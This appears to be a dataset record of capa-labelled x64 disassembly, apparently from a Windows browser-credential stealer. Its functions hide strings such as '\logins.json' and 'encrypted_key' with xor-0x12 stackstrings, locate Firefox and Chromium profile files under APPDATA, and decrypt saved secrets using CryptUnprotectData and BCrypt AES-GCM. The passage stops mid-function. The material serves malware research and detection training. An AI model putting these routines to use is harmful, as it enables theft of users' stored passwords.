joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400125c8
Capabilities:
Check if file exists
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xd0
mov r15, rdx
mov byte [rsp + 0x40], 0x88
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
mov ecx, 1
movsxd rdx, eax
call fcn.14000240c
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
mov r8, rbx
mov dword [rsp + 0x28], eax
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140012703
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_OpenFile]
movsxd rsi, eax
cmp rsi, 0xffffffffffffffff
je 0x140012703
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x140012703
lea ecx, [rbx + 1]
call fcn.140002460
mov rbp, rax
test rax, rax
je 0x140012703
and qword [rsp + 0x28], 0
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
test rax, rax
je 0x140012703
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r8d, ebx
mov rcx, rbp
mov rdx, rax
mov rdi, rax
call fcn.1400024b0
mov rcx, rdi
mov byte [rbx + rbp], 0
mov qword [r15], rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbp
jmp 0x140012705
xor eax, eax
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140012724
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x7e004e
mov dword [rbp - 0x1c], 0x75007d
mov dword [rbp - 0x18], 0x7c007b
mov dword [rbp - 0x14], 0x3c0061
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x610078
mov dword [rbp - 0xc], 0x7c007d
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001277a
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x14001279c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x71004e
mov dword [rbp - 0x2c], 0x7f007d
mov dword [rbp - 0x28], 0x730062
mov dword [rbp - 0x24], 0x7b0066
lea ecx, [rbx + 0x14]
mov dword [rbp - 0x20], 0x7b0070
mov dword [rbp - 0x1c], 0x7b007e
mov dword [rbp - 0x18], 0x6b0066
mov dword [rbp - 0x14], 0x7b003c
mov dword [rbp - 0x10], 0x7b007c
mov word [rbp - 0xc], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140012807
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140012898
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x40]
mov r8d, 0x208
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, 0x12
mov dword [rsp + 0x20], 0x42004e
mov dword [rsp + 0x24], 0x7d0060
mov dword [rsp + 0x28], 0x7b0074
mov dword [rsp + 0x2c], 0x77007e
lea ecx, [rbx + 4]
mov dword [rsp + 0x30], 0x4e0061
mov word [rsp + 0x34], bx
call fcn.140002534
lea r9, [rsp + 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 7]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140012927
mov rdx, rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x5d0]
call fcn.14000f840
mov rdx, rax
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400129c8
lea rdx, [rbp + 0x38c]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140012b90
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
jmp 0x1400129cd
mov eax, 1
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1400129e4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x7b8]
sub rsp, 0x8b0
mov rbx, rdx
mov rsi, rcx
lea rdx, [rsp + 0x30]
mov r8d, 0x208
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Profiles_
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x7d0]
call fcn.14000f840
mov rdx, rax
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012b1d
lea rdx, [rbp + 0x58c]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x7d0]
call fcn.140012724
mov rdx, rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.1400136d8
xor ebx, ebx
mov qword [rsp + 0x20], rax
mov rdi, rax
test rax, rax
je 0x140012b1d
lea r8, [rbp + 0x350]
mov rdx, rsi
lea rcx, [rsp + 0x20]
call fcn.140012b3c
test eax, eax
je 0x140012b11
mov ebx, 1
mov rcx, rdi
call fcn.140002438
mov eax, ebx
jmp 0x140012b22
mov eax, 1
lea r11, [rsp + 0x8b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140012b90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
mov r14, rcx
mov rcx, rdx
call fcn.140012dbc
test eax, eax
je 0x140012bc4
mov eax, 1
jmp 0x140012c92
mov ebx, 0xf
mov dword [rbp - 0x30], 0x23235942
mov ecx, ebx
mov dword [rbp - 0x2c], 0x617b5e4d
mov dword [rbp - 0x28], 0x60775166
mov word [rbp - 0x24], 0x6166
mov byte [rbp - 0x22], 0x12
call fcn.140002534
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x140012bf9
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
xor ecx, ecx
mov qword [0x14001f448], rax
call rax
mov rsi, rax
mov rdi, qword [rax]
cmp rdi, rax
je 0x140012c8b
mov rbx, qword [rdi + 0x10]
mov rcx, qword [rbx + 0x288]
call fcn.14000762c
mov qword [rbp - 0x20], rax
mov rcx, qword [rbx + 8]
call fcn.14000762c
mov qword [rbp - 0x18], rax
mov rcx, qword [rbx + 0x10]
call fcn.14000762c
mov qword [rbp - 0x10], rax
mov rcx, qword [rbx + 0x230]
call fcn.14000762c
mov r8d, 0x20
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x20]
mov rcx, r14
call fcn.140017798
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140012c33
call fcn.140012828
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x1400136d8
Capabilities:
Check if file exists
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xd0
mov r15, rdx
mov byte [rsp + 0x40], 0x88
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
mov ecx, 1
movsxd rdx, eax
call fcn.14000240c
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
mov r8, rbx
mov dword [rsp + 0x28], eax
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14001380f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_OpenFile]
movsxd rsi, eax
cmp rsi, 0xffffffffffffffff
je 0x14001380f
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14001380f
lea ecx, [rbx + 1]
call fcn.140002460
mov rbp, rax
test rax, rax
je 0x14001380f
and qword [rsp + 0x28], 0
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
test rax, rax
je 0x14001380f
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r8d, ebx
mov rcx, rbp
mov rdx, rax
mov rdi, rax
call fcn.1400024b0
mov rcx, rdi
mov qword [r15], rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbp
jmp 0x140013811
xor eax, eax
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140013830
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
je 0x14001383c
lea rax, [0x14001b6c0]
ret
lea rcx, [rsp + 8]
jmp fcn.140010680

Function at 0x140013848
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x7a0051
mov dword [rbp - 0x1c], 0x7b0073
mov dword [rbp - 0x18], 0x7b007c
mov dword [rbp - 0x14], 0x75007c
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x7d005f
mov dword [rbp - 0xc], 0x770076
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001389e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x1400138c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x7a0051
mov dword [rbp - 0x1c], 0x7b0073
mov dword [rbp - 0x18], 0x7b007c
mov dword [rbp - 0x14], 0x75007c
lea ecx, [rbx + 0xe]
mov dword [rbp - 0x10], 0x7d005f
mov dword [rbp - 0xc], 0x770076
mov dword [rbp - 8], 0x510055
mov dword [rbp - 4], 0x12005f
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140013920
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140013940
Capabilities:
Encode data using xor
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rdi, rcx
movsxd rsi, r8d
mov ebx, 0x12
mov dword [rbp - 0x49], 0x570053
mov r15, r9
mov dword [rbp - 0x45], 0x120041
mov r14, rdx
lea ecx, [rbx - 0xa]
call fcn.140002534
lea r8, [rbp - 0x49]
mov rdx, rax
sub r8, rax
lea r9d, [rbx - 0xe]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14001398d
xor r8d, r8d
lea rcx, [rbp - 0x41]
mov rdx, rax
call sub.ncrypt.dll_BCryptOpenAlgorithmProvider
test eax, eax
jne 0x1400139e4
lea rcx, [rbp + 0x77]
call fcn.1400138c0
lea rcx, [rbp + 0x77]
mov rbx, rax
call fcn.140013848
mov rcx, qword [rbp - 0x41]
mov rdx, rax
and dword [rsp + 0x20], 0
mov r9d, 0x20
mov r8, rbx
call sub.ncrypt.dll_BCryptSetProperty
and dword [rsp + 0x30], 0
lea rdx, [rbp - 0x39]
mov rcx, qword [rbp - 0x41]
xor r9d, r9d
mov dword [rsp + 0x28], 0x100
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call sub.ncrypt.dll_BCryptGenerateSymmetricKey
and dword [rbp + 0x6f], 0
mov rcx, rsi
call fcn.140002534
xor edx, edx
lea rcx, [rbp - 0x29]
mov rdi, rax
lea r8d, [rdx + 0x58]
call fcn.1400023d8
and dword [rsp + 0x48], 0
lea rcx, [r14 + 3]
mov qword [rbp - 0x21], rcx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x40], rax
lea rcx, [r14 - 0x10]
add rcx, rsi
mov dword [rsp + 0x38], esi
mov qword [rbp - 1], rcx
lea r8d, [rsi - 0x1f]
mov rcx, qword [rbp - 0x39]
lea rdx, [r14 + 0xf]
mov qword [rsp + 0x30], rdi
lea r9, [rbp - 0x29]
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov dword [rbp - 0x29], 0x58
mov dword [rbp - 0x25], 1
mov dword [rbp - 0x19], 0xc
mov dword [rbp + 7], 0x10
call sub.ncrypt.dll_BCryptDecrypt
mov ecx, dword [rbp + 0x6f]
mov rdx, rdi
mov byte [rcx + rdi], 0
mov rcx, r15
mov r8d, dword [rbp + 0x6f]
inc r8d
call fcn.1400024b0
mov rcx, rdi
call fcn.140002438
mov rbx, qword [rsp + 0x100]
mov eax, 1
add rsp, 0xd0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140013acc
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x20], rcx
mov ebx, 0xc
mov ecx, ebx
mov dword [rbp - 0x28], edx
mov rdi, r8
mov dword [rbp - 0x40], 0x626b6071
mov dword [rbp - 0x3c], 0x3c202166
mov dword [rbp - 0x38], 0x127e7e76
call fcn.140002534
lea r8, [rbp - 0x40]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x140013b1b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [str.Q_kbfGb_fwqfVsServer]
mov ebx, SafeArrayUnaccessData
mov ecx, ebx
mov word [rbp - 0x30], 0x7366
movdqu xmmword [rbp - 0x40], xmm0
mov rsi, rax
mov byte [rbp - 0x2e], 0x12
call fcn.140002534
lea r8, [rbp - 0x40]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x140013b66
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rbp - 0x18]
xor esi, esi
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x28]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call rbx
test eax, eax
je 0x140013be3
mov r8d, dword [rbp - 0x18]
test r8d, r8d
je 0x140013bdb
mov r9, qword [rbp - 0x10]
mov rdx, rdi
sub r9, rdi
mov r10d, r8d
mov cl, byte [r9 + rdx]
mov byte [rdx], cl
inc rdx
sub r10, 1
jne 0x140013bcc
mov byte [r8 + rdi], sil
mov al, 1
jmp 0x140013be5
xor al, al
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140013c00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, rdx
mov r15, rcx
mov rcx, rax
lea rdx, [rbp - 8]
call fcn.1400125c8
mov qword [rbp - 0x10], rax
test rax, rax
je 0x140013d30
mov rcx, qword [rbp - 8]
call fcn.140002460
mov r10, qword [rbp - 8]
xor r9d, r9d
mov rbx, rax
test r10, r10
jle 0x140013c70
mov r8, qword [rbp - 0x10]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
inc r9d
mov byte [rdx], cl
inc rdx
movsxd rax, r9d
cmp rax, r10
jl 0x140013c5c
mov edi, 0xe
mov dword [rbp - 0x20], 0x60717c77
mov ecx, edi
mov dword [rbp - 0x1c], 0x7766626b
mov dword [rbp - 0x18], 0x77794d76
mov word [rbp - 0x14], 0x126b
call fcn.140002534
lea r8, [rbp - 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub rdi, 1
jne 0x140013ca1
mov rdx, rax
mov rcx, rbx
call fcn.140007b70
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140013d30
mov rcx, qword [rbp - 8]
call fcn.140002460
mov rcx, qword [rbp - 8]
xor r8d, r8d
sub rcx, rsi
mov rdi, rax
sub rcx, 0x10
mov rax, rsi
test rcx, rcx
jle 0x140013d07
sub rax, rdi
mov rdx, rdi
lea r9, [rax + rbx]
mov al, byte [r9 + rdx + 0x10]
inc r8d
mov byte [rdx], al
inc rdx
movsxd rax, r8d
cmp rax, rcx
jl 0x140013cf2
movsxd r14, r8d
mov rcx, rbx
mov byte [r14 + rdi], 0
call fcn.140002438
xor esi, esi
test r14, r14
jle 0x140013d30
xor eax, eax
cmp byte [rax + rdi], 0x22
je 0x140013d4e
inc esi
inc rax
cmp rax, r14
jl 0x140013d20
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret
cmp esi, 0xffffffff
je 0x140013d30
movsxd r14, esi
mov rcx, rdi
mov byte [r14 + rdi], 0
call fcn.14000762c
mov rcx, rdi
mov rbx, rax
call fcn.140002438
and qword [rbp + 0x30], 0
lea rdx, [r14 + 1]
lea r8, [rbp + 0x30]
mov rcx, rbx
call fcn.140009c34
mov rcx, rbx
mov rdi, rax
call fcn.140002438
lea rcx, [r14 - 5]
call fcn.140002534
mov r10, rax
cmp r14, 5
jle 0x140013dc0
mov r9, rax
lea r8, [rdi + 5]
sub r9, rdi
mov cl, byte [r8]
mov byte [r9 + r8 - 5], cl
inc r8
mov rax, r8
sub rax, rdi
cmp rax, r14
jl 0x140013daa
mov r8, r15
lea edx, [rsi - 5]
mov rcx, r10
call fcn.140013acc
mov rcx, rdi
call fcn.140002438
mov rcx, qword [rbp - 0x10]
call fcn.140002438
xor eax, eax
jmp 0x140013d35
Function at 0x140013de8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x50004e
mov dword [rbp - 0x3c], 0x730060
mov dword [rbp - 0x38], 0x770064
mov dword [rbp - 0x34], 0x7d0041
lea ecx, [rbx + 0x28]
mov dword [rbp - 0x30], 0x660074
mov dword [rbp - 0x2c], 0x730065
mov dword [rbp - 0x28], 0x770060
mov dword [rbp - 0x24], 0x50004e
mov dword [rbp - 0x20], 0x730060
mov dword [rbp - 0x1c], 0x770064
mov dword [rbp - 0x18], 0x50003f
mov dword [rbp - 0x14], 0x7d0060
mov dword [rbp - 0x10], 0x610065
mov dword [rbp - 0xc], 0x600077
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xb]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140013e7b
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret

Function at 0x140013ea0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x67004e
mov dword [rbp - 0x1c], 0x7d0051
mov dword [rbp - 0x18], 0x5f0068
mov dword [rbp - 0x14], 0x760077
lea ecx, [rbx + 0xe]
mov dword [rbp - 0x10], 0x73007b
mov dword [rbp - 0xc], 0x47004e
mov dword [rbp - 8], 0x730060
mov dword [rbp - 4], 0x12007c
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140013f00
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140013f20
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x41004e
mov dword [rbp - 0x2c], 0x670062
mov dword [rbp - 0x28], 0x7c0066
mov dword [rbp - 0x24], 0x79007b
lea ecx, [rbx + 0x10]
mov dword [rbp - 0x20], 0x41004e
mov dword [rbp - 0x1c], 0x670062
mov dword [rbp - 0x18], 0x7c0066
mov dword [rbp - 0x14], 0x79007b
mov word [rbp - 0x10], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140013f84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140013fa4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x21004e
mov dword [rbp - 0x2c], 0x220024
mov dword [rbp - 0x28], 0x600050
mov dword [rbp - 0x24], 0x65007d
lea ecx, [rbx + 0x16]
mov dword [rbp - 0x20], 0x770061
mov dword [rbp - 0x1c], 0x4e0060
mov dword [rbp - 0x18], 0x600050
mov dword [rbp - 0x14], 0x65007d
mov dword [rbp - 0x10], 0x770061
mov dword [rbp - 0xc], 0x120060
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140014012
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x140014034
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x51004e
mov dword [rbp - 0x1c], 0x7f007d
mov dword [rbp - 0x18], 0x76007d
mov dword [rbp - 0x14], 0x4e007d
lea ecx, [rbx + 0xc]
mov dword [rbp - 0x10], 0x600056
mov dword [rbp - 0xc], 0x750073
mov dword [rbp - 8], 0x7c007d
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140014091
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400140b4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x4b004e
mov dword [rbp - 0x2c], 0x7c0073
mov dword [rbp - 0x28], 0x770076
mov dword [rbp - 0x24], 0x4e006a
lea ecx, [rbx + 0x1a]
mov dword [rbp - 0x20], 0x73004b
mov dword [rbp - 0x1c], 0x76007c
mov dword [rbp - 0x18], 0x6a0077
mov dword [rbp - 0x14], 0x600050
mov dword [rbp - 0x10], 0x65007d
mov dword [rbp - 0xc], 0x770061
mov dword [rbp - 8], 0x120060
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140014129
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14001414c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x51004e
mov dword [rbp - 0x1c], 0x71007d
mov dword [rbp - 0x18], 0x7d0051
mov dword [rbp - 0x14], 0x4e0071
lea ecx, [rbx + 0xe]
mov dword [rbp - 0x10], 0x600050
mov dword [rbp - 0xc], 0x65007d
mov dword [rbp - 8], 0x770061
mov dword [rbp - 4], 0x120060
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
